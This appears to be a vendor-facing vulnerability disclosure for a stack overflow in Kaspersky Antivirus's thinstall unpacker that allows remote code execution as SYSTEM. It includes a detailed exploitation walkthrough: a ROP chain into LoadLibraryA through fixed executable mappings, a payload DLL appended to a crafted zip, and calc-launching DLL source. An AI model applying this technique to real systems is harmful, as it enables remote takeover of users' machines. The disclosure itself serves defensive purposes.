

Trivial fuzzing reveals hundreds of unique exploitable conditions in Kaspersky Antivirus. The large number of results suggests that testing and auditing has been neglected at Kaspersky. The test cases I have are currently being triaged, and will be forwarded as soon as possible, but I would recommend building or extending your own fuzzing infrastructure urgently.

The first vulnerability ready for analysis is a stack buffer overflow in the thinstall container unpacker. The vulnerability can result in arbitrary remote code execution as NT AUTHORITY\SYSTEM. The vulnerability is present in the default configuration, and a working exploit has been provided with this report.

It's possible to exploit this vulnerability simply by visiting a website or receiving an email. It is not necessary to open or read the email, as the filesystem I/O is sufficient to trigger the exploitable condition in avp.exe. For this reason, this vulnerability is conducive to a worm, and should be treated with the utmost priority.

Additionally, third party Kaspersky distributors such as ZoneAlarm, Landesk and other antivirus vendors are also affected.

Executive Summary

- A working remote SYSTEM exploit has been provided for a vulnerability in Kaspersky Antivirus.
- It is unacceptable that Kaspersky is shipping security products in 2015 without /GS. There is no excuse for this, and fixing it should be considered the highest engineering priority.
- Kaspersky has made some effort to support ASLR, but mistakes prevented it from being effective. Fixing this will make future exploitation more difficult.

Details

Thinstall containers are virtualization wrappers around applications to simplify bundling, the product was acquired by VMware and renamed [VMware ThinApp](#).

Trivial fuzzing of thinstall applications revealed a stack buffer overflow extracting the container contents. Because Kaspersky do not enable /GS, it is possible to overwrite the stack frame and redirect execution quite simply.

```
(8f0.b28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=0be4005c ecx=09f9d810 edx=00000000 esi=0be4005c edi=0d90ef64
eip=41414141 esp=09f9dc5c ebp=43434343 iopl=0         nv up ei pl nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010207
```

```
41414141 ??          ???
0:084> lmv m avp
start    end          module name
013d0000 01401000    avp          (deferred)
    Image path: C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus 16.0.0\avp.exe
    Image name: avp.exe
    Timestamp:    Thu Jul 23 11:39:44 2015 (55B134F0)
    CheckSum:     00036438
    ImageSize:    00031000
    File version: 16.0.0.625
    Product version: 16.0.0.625
    File flags:   0 (Mask 3F)
    File OS:     40004 NT Win32
    File type:   1.0 App
    File date:   00000000.00000000
    Translations: 0409.04b0
    CompanyName: Kaspersky Lab ZAO
    ProductName: Kaspersky Anti-Virus
    InternalName: avp
    OriginalFilename: avp.exe
    ProductVersion: 16.0.0.625
    FileVersion: 16.0.0.625
    FileDescription: Kaspersky Anti-Virus
    LegalCopyright: © 2015 Kaspersky Lab ZAO. All Rights Reserved.
    LegalTrademarks: Registered trademarks and service marks are the property of their
    respective owners
```

Exploitation

Because there is no /GS, we can easily redirect execution anywhere we want. However, Kaspersky have enabled /DYNAMICBASE for all of their modules, making it difficult to redirect execution to a predictable location. This is really impressive, nice work.

The screenshot shows Process Explorer with a list of running processes. Below it, a detailed view of ASLR mappings is shown, listing various files and their paths. A red circle highlights the ASLR mappings for Kaspersky Lab files, specifically those related to the Anti-Virus engine.

Name	Description	Company Name	Path	ASLR
pestub.ppl	Proxy Stub	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
tsync.dll	System Interceptors PDK legacy in...	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
procex.dll	Prague Core	Kaspersky Lab ZAO	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
preempt.dll	PR_PREMOTTE	Kaspersky Lab ZAO	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
msver100.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
wirereg.ppl	WINREG	Kaspersky Lab ZAO	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
filelib.dll	File Library	Microsoft Corporation	C:\Windows\System32\filelib.dll	ASLR
file.ppl	NTFD	Kaspersky Lab ZAO	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
msverp100.dll	Microsoft® C Runtime Library	Microsoft Corporation	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
ushata.dll	Ushata module	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
fsdrvplg.ppl	Plugin for FSDrv	Kaspersky Lab ZAO	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
update_meta.dll	Update meta library	Kaspersky Lab ZAO	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
system_interceptors...	System Interceptors PDK metadata	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
ucp_meta.dll	MetaInfo for UCP PDK	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
kan_meta.dll	MetaInfo for KSN PDK	Kaspersky Lab ZAO	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
plugins_meta.dll	Kaspersky plugins pdk meta	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
sw_meta.dll	System Watcher Meta Information	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
app_core_meta.dll	Traffic Processing PDK Meta	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
traffic_processing...	Traffic Processing PDK Meta	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
licensing_meta.dll	Licensing PDK meta info	Kaspersky Lab ZAO	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
an_meta.dll	Backup facade metaInfo	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
backup_facade_me...	Backup facade metaInfo	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
content_filtering_me...	Kaspersky content filtering pdk meta	AO Kaspersky Lab	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Anti-Virus...	ASLR
...

Unfortunately, a few mistakes prevented it from working. Multiple **PAGE_EXECUTE_READWRITE** mappings are created at fixed locations using `VirtualAlloc()`, which contain predictable contents.

```
0:117> !address 0x7e670000
Usage:                <unknown>
Base Address:        7e670000
End Address:         7e671000
Region Size:         00001000
State:               00001000    MEM_COMMIT
Protect:             00000040    PAGE_EXECUTE_READWRITE
Type:                00020000    MEM_PRIVATE
Allocation Base:     7e670000
Allocation Protect:  00000040    PAGE_EXECUTE_READWRITE
```

It's also possible to see these mappings using the `vmap` tool from sysinternals, if you prefer.

VMMap - Sysinternals: www.sysinternals.com

Process: avp.exe
PID: 2268

Committed: 224,908 K

Private Bytes: 129,016 K

Working Set: 23,896 K

Type	Size	Committed	Private	Total WS	Private WS	Shareable WS	Shared WS	Locks
Total	404,140 K	238,152 K	129,016 K	23,896 K	12,836 K	11,060 K	2,220 K	
Image	102,340 K	101,196 K	17,560 K	12,396 K	1,552 K	10,844 K	2,136 K	
Mapped File	6,492 K	6,492 K		144 K		144 K	20 K	
Shareable	9,044 K	5,764 K		68 K		68 K	60 K	
Heap	106,412 K	83,820 K	83,820 K	7,016 K	7,016 K			
Managed Heap								
Stack	125,440 K	4,968 K	4,968 K	956 K	956 K			
Private Data	38,276 K	20,376 K	20,376 K	1,024 K	1,020 K	4 K	4 K	
Page Table	2,292 K	2,292 K	2,292 K	2,292 K	2,292 K			
Unusable	13,244 K	13,244 K						
Free	1,695,240 K							

Address	Type	Size	Committed	Private	Total WS	Private WS	Shareable WS	Shared WS	Locks	Blocks	Protection
02A70000	Private Data	128 K									1 Reserved
77520000	Private Data	1,000 K									1 Reserved
77620000	Private Data	1,148 K									1 Reserved
7E7A0000	Private Data	3,072 K	3,072 K	3,072 K							1
7F0E0000	Private Data	15,360 K									1 Reserved
01F20000	Private Data	4 K	4 K	4 K							1 Execute
15450000	Private Data	9,408 K	9,408 K	9,408 K							1 Execute/Read
7E670000	Private Data	4 K	4 K	4 K	4 K	4 K					1 Execute/Read/Write
7E580000	Private Data	4 K	4 K	4 K	4 K	4 K					1 Execute/Read/Write
7E590000	Private Data	4 K	4 K	4 K	4 K	4 K					1 Execute/Read/Write
7EAA0000	Private Data	5,124 K	5,124 K	5,124 K							1 Execute/Read/Write
7E660000	Private Data	8 K	8 K	8 K	4 K	4 K					1 Read
7FFE0000	Private Data	64 K	4 K	4 K	4 K	4 K	4 K	4 K			2 Read
00030000	Private Data	4 K	4 K	4 K							1 Read/Write
00070000	Private Data	4 K	4 K	4 K	4 K	4 K					1 Read/Write
000F0000	Private Data	4 K	4 K	4 K							1 Read/Write
002C0000	Private Data	128 K	4 K	4 K							2 Read/Write
005E0000	Private Data	512 K	492 K	492 K	56 K	56 K					2 Read/Write
01FD0000	Private Data	4 K	4 K	4 K							1 Read/Write
01FF0000	Private Data	4 K	4 K	4 K							1 Read/Write
02EE0000	Private Data	64 K	4 K	4 K							2 Read/Write
03140000	Private Data	4 K	4 K	4 K	4 K	4 K					1 Read/Write
03620000	Private Data	8 K	8 K	8 K							1 Read/Write
03830000	Private Data	4 K	4 K	4 K							1 Read/Write
7E552000	Private Data	12 K	12 K	12 K	12 K	12 K					1 Read/Write
7E558000	Private Data	12 K	12 K	12 K	12 K	12 K					1 Read/Write
7E55E000	Private Data	12 K	12 K	12 K	8 K	8 K					1 Read/Write
7E561000	Private Data	12 K	12 K	12 K	12 K	12 K					1 Read/Write
7E564000	Private Data	12 K	12 K	12 K	8 K	8 K					1 Read/Write
7E567000	Private Data	12 K	12 K	12 K	12 K	12 K					1 Read/Write
7E56A000	Private Data	12 K	12 K	12 K	8 K	8 K					1 Read/Write
7E56D000	Private Data	12 K	12 K	12 K	8 K	8 K					1 Read/Write
7E570000	Private Data	12 K	12 K	12 K	12 K	12 K					1 Read/Write
7E573000	Private Data	12 K	12 K	12 K	8 K	8 K					1 Read/Write
7E576000	Private Data	12 K	12 K	12 K	12 K	12 K					1 Read/Write
7E579000	Private Data	12 K	12 K	12 K	12 K	12 K					1 Read/Write
7E57C000	Private Data	12 K	12 K	12 K	12 K	12 K					1 Read/Write
7E57F000	Private Data	12 K	12 K	12 K	12 K	12 K					1 Read/Write

Timeline... Heap Allocations... Call Tree... Trace...

I used the `.writemem windbg` command, and a quick shell script to search for gadgets and quickly found a stub for calling `kernel32!LoadLibraryA`.

```
0:001> u 0x7e670470
7e670470 58          pop     eax
7e670471 688f49db76    push   offset kernel32!LoadLibraryA (76db498f)
7e670476 c3          ret
```

```
7e670477 cc          int     3
7e670478 55          push   ebp
7e670479 8bec          mov    ebp,esp
7e67047b 81ecb0000000 sub    esp,0B0h
7e670481 833d5cff686800 cmp    dword ptr [ushata!UshataInitializeForService+0x1639c
(6868ff5c)],0
```

The problem is there is no way to know where any useful strings are located, because the stack and all modules are randomized. My first thought was that the filename that's being scanned must be somewhere on the stack, and using the `s` command I located a pointer to it at `[esp+0x8F*4]`.

```
0:124> dda esp+8e*4 L1
0c85e4cc 0ba21fb8 "\\vmware-host\Shared Folders\exploit.txt"
```

Multiple attempts confirmed this was reliable, so I just need to get that string passed to `kernel32!LoadLibraryA`, and then if I make it a valid DLL I can execute code.

I built a simple ROP chain to clear the stack and return into `LoadLibraryA`, and it worked beautifully.

```
0:124> dda esp L8f
0c85e294 00000000
0c85e298 7e670471 "h.I.v..U....."
0c85e29c 00000000
0c85e2a0 7e670471 "h.I.v..U....."
0c85e2a4 00000000
0c85e2a8 7e670471 "h.I.v..U....."
0c85e2ac 00000000
0c85e4c8 7e670471 "h.I.v..U....."
...
0c85e4cc 0ba21fb8 "\\vmware-host\Shared Folders\exploit.txt"
```

Unfortunately, the loader rejected the file for having an invalid `e_lfanew`. I was unable to satisfy both the Kaspersky parser and the Microsoft parser, so came up with a different idea.

Final Exploitation

I had already noticed that Kaspersky will scan archives appended to other files, i.e.

```
$ cat file.doc file.zip > newfile.doc
```

I wondered if this would work.

```
$ cat payload.dll exploit.txt > finalexploit.txt
```

The exploit was triggered, but unfortunately the filename on the stack I was using was written differently, it was now written like "C:\finalexploit.txt//exploit.txt", which was not a string that LoadLibraryA would accept.

The solution was simply to modify the zip header to name the file "", i.e. an empty string, when Kaspersky produces the filename it appends the empty string and the filename is still a valid target for LoadLibraryA.

```
$ sed -i 's/t\(hinstall.exe\)\/\x00\1/' exploit.zip
```

I wrote a quick payload dll to load:

```
$ cat wrapper.c
#include <windows.h>

#pragma comment(lib, "shell32")

BOOLEAN WINAPI DllMain(HINSTANCE hDllHandle, DWORD nReason, LPVOID Reserved)
{
    ShellExecute(NULL, "open", "calc", NULL, NULL, 0);
    ExitProcess(0);
    return 1;
}
```

I verified it worked on version 15 and 16 of Kaspersky Antivirus on Windows 7. Note that the calculator is displayed on the Service Desktop, so you will need to use Process Explorer to verify it was created.

To reproduce the problem, simply scan the testcase I have provided with this report, and observe a calculator appearing. I have also provided some source code to assist you.

The screenshot displays a Windows 7 desktop environment. In the background, a File Explorer window is open to the path 'Computer > Local Disk (C:) > C:\Users\Tavis Ormandy > home > Tavis Ormandy'. It shows several files including .bash_history, .bash_profile, .bashrc, .inputrc, .profile, and exploit. A 'calc.exe:1592 Properties' dialog box is open in the foreground, showing details for the Windows Calculator application, including its version (6.1.7601.17514), build time (Sat Nov 20 01:40:45 2010), and command line. The taskbar at the bottom shows the Start button, the user name 'Tavis Ormandy', and the 'Process Explorer - Sys...' window.

The Process Explorer window is open to the 'System Idle Process' and lists various system and user processes. The table below represents the data shown in the Process Explorer window:

Process	CPU	I/O Read B.	I/O Write B.	Private Bytes	Working Set	PID	Description
System Idle Process	96.63			0 K	24 K	0	
System	0.03	95.6 MB	21.8 MB	204 K	1,860 K	4	
smss.exe	1.51	32.5 KB	20 B	0 K	0 K	n/a	Hardware Interrupts and DPCs
csrss.exe		224.7 KB	2,194 K	4,684 K	1,148 K	364	Windows Session Manager
services.exe		7.0 KB	1,504 K	4,536 K	9,208 K	460	Client Server Runtime Process
svchost.exe	< 0.01	233 B	4,128 K	9,444 K	740	Windows Start-Up Application	
svchost.exe	0.02	1.6 MB	1,450 K	4,176 K	900	Windows Activation Helper	
svchost.exe	0.03	3.7 MB	757.8 KB	4,112 K	9,348 K	844	Host Process for Windows S...
svchost.exe		1.3 KB	398 B	15,690 K	15,688 K	1672	Windows Audio Device Grap...
svchost.exe		1.3 KB	7,032 K	5,556 K	13,236 K	384	Host Process for Windows S...
svchost.exe	< 0.01	1.3 KB	7,032 K	1,880 K	5,480 K	1590	Desktop Window Manager
svchost.exe	< 0.01	22.7 MB	2.4 MB	17,132 K	30,164 K	372	Host Process for Windows S...
svchost.exe	< 0.01	116 B	160 B	2,060 K	5,196 K	816	Host Process for Windows S...
svchost.exe	< 0.01	1.6 MB	43.0 KB	9,688 K	12,276 K	1116	Host Process for Windows S...
spoolsv.exe		1.2 KB	320 B	7,324 K	13,615 K	1284	Spooler SubSystemApp
svchost.exe		48.2 MB	450.6 KB	11,576 K	14,132 K	1284	Host Process for Windows S...
lsass.exe	< 0.01	1.9 MB	678.0 KB	11,608 K	10,884 K	1388	Host Process for Windows S...
svchost.exe	< 0.01	54.3 KB	9,452 K	4,512 K	9,452 K	1598	Host Process for Windows S...
lsass.exe		53.8 KB	8,248 K	11,036 K	1640		
sqlwriter.exe		116 B	160 B	1,928 K	6,180 K	1880	SQL Server VSS Writer - 64 Bit
SyslogAgent.exe	0.03	5,024 K	8,200 K	5,024 K	8,200 K	1916	SyslogAgent
svchost.exe	0.04	125.4 KB	13.6 KB	6,372 K	15,532 K	1984	Windows Tools Core Service
dlhst.exe	< 0.01	2.0 MB	3.5 KB	4,260 K	11,448 K	2380	CDM SunGate
msdtc.exe		496.0 KB	3,548 K	8,088 K	3,548 K	2468	Microsoft Distributed Transa...
SearchIndexer.exe		6.8 MB	1.3 MB	17,712 K	13,824 K	2744	Microsoft Windows Search I...
svchost.exe		12.9 MB	1.9 MB	51,476 K	22,988 K	2032	Host Process for Windows S...
lsass.exe		93.8 KB	130.1 KB	3,804 K	10,168 K	638	Local Security Authority Proc...
lsim.exe		1.6 MB	2,544 K	4,232 K	2,544 K	644	Local Session Manager Serv...
csrss.exe	0.18	1.6 MB	13,640 K	11,344 K	532	Client Server Runtime Process	
wirlogon.exe		14.1 KB	2,768 K	2,768 K	584	Windows Logon Application	
explorer.exe	0.11	14.6 MB	80.9 KB	42,508 K	61,468 K	1632	Windows Explorer
vmtoolsd.exe	0.09	11.5 KB	2.0 MB	11,840 K	19,312 K	1590	VMware Tools Core Service
process.exe		118.7 KB	1.3 MB	2,236 K	7,188 K	2988	Sysinternals Process Explorer
PRDCE-IP64.exe	1.09	290.8 KB	33.7 KB	14,364 K	24,096 K	2988	Sysinternals Process Explorer
avpui.exe	1.16	1.3 MB	6.2 KB	67,816 K	2,868 K	382	Kaspersky Anti-Virus
calc.exe				4,772 K	9,800 K	1592	Windows Calculator